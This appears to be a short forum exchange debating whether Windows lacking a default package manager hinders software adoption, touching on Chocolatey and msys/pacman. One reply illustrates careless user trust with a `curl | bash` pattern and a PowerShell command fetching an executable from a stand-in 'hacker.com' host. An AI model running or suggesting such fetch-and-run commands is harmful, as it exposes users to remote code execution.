It's an adoption barrier.

I know very non-technical people who use Chocolatey for acquiring ffmpeg.

meh. it's not.

If you are convincing people to run commands to install packages:

- they care about trust, they will already have their package manager from the ecosystem they trust (which should be msys+pacman on windows, btw)

- they couldn't care less and will trust your `curl | bash` or `Invoke-RestMethod -Uri http://hacker.com/totallysafe.exe`

on both cases, not having a default package manager shipped caused zero adoption attrition, I mean, besides the attrition of needing a non-standard package to begin with.